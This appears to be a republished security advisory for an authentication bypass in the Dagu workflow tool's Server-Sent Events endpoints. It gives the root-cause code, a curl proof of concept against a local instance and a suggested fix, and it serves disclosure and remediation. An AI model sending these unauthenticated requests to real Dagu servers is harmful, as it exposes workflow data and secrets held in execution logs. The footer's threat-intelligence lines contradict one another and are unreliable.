Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-9wmw-9wph-2vwp
No affected components available
SSE Authentication Bypass in Basic Auth Mode
Summary
When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.
Severity
HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected Versions
- dagu v2.2.3 (latest) and likely all versions with basic auth support
Affected Component
internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)
Root Cause
The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):
// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
// AuthRequired is NOT set — defaults to false
}
}
The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:
// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
next.ServeHTTP(w, r)
return
}
The developers left a FIXME comment (line 1193) acknowledging this issue:
// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.
Exposed SSE Endpoints
All SSE routes are affected (server.go:1004-1019):
| Endpoint | Data Leaked |
|----------|-------------|
| /api/v1/events/dags | All DAG names, descriptions, file paths, schedules, tags, execution status |
| /api/v1/events/dags/{fileName} | Individual DAG configuration details |
| /api/v1/events/dags/{fileName}/dag-runs | DAG execution history |
| /api/v1/events/dag-runs | All active DAG runs across the system |
| /api/v1/events/dag-runs/{name}/{dagRunId} | Specific DAG run status and node details |
| /api/v1/events/dag-runs/{name}/{dagRunId}/logs | Execution logs (may contain secrets, credentials, API keys) |
| /api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} | Step-level stdout/stderr logs |
| /api/v1/events/queues | Queue status and pending work items |
| /api/v1/events/queues/{name}/items | Queue item details |
| /api/v1/events/docs-tree | Documentation tree |
| /api/v1/events/docs/* | Documentation content |
Additionally, the Agent SSE stream uses the same auth options (server.go:1166).
Proof of Concept
Setup
# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all
Verify REST API requires auth
# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401
# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200
Exploit SSE bypass
# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags
Output (truncated):
event: connected
data: {"topic":"dagslist:"}
event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs
Output:
event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}
Wrong credentials are rejected
# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401
Impact
An unauthenticated network attacker can:
- Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags
- Monitor execution in real-time: Track which workflows are running, their status, and when they complete
- Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
- Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details
- Observe queue state: Understand pending work items and system load
This is especially critical in environments where:
- Workflows process sensitive data (credentials, PII, financial data)
- DAG parameters contain secrets passed at runtime
- Log output includes API responses or database queries with sensitive content
Suggested Fix
Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
AuthRequired: true, // Require authentication
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
}
}
For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard